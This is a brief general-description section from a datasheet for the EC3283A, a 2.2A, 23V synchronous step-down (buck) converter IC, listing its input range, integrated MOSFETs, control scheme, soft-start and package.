EC3283A-2.2A,23V,Syn.Rectified Step-Down Converter

General description

The   EC3283A   is   a   monolithic   synchronous   buck regulator. The device  integrates    two    90mΩ MOSFETs,   and   provides   2.2A   of   continuous   load current over a  wide input voltage of  4.75V to 23V.Current mode control provides fast  ansient Response and  cycle-by-cycle  current limit. An adjustable   soft-start  prevents   inrush   current  at turn-on,  and  in  shutdown  mode  the  supply current drops to 1µA. This     device,   available in  an  SOP-8(Exposed PAD) Package   provides   a  very compact  solution    minimal external components.
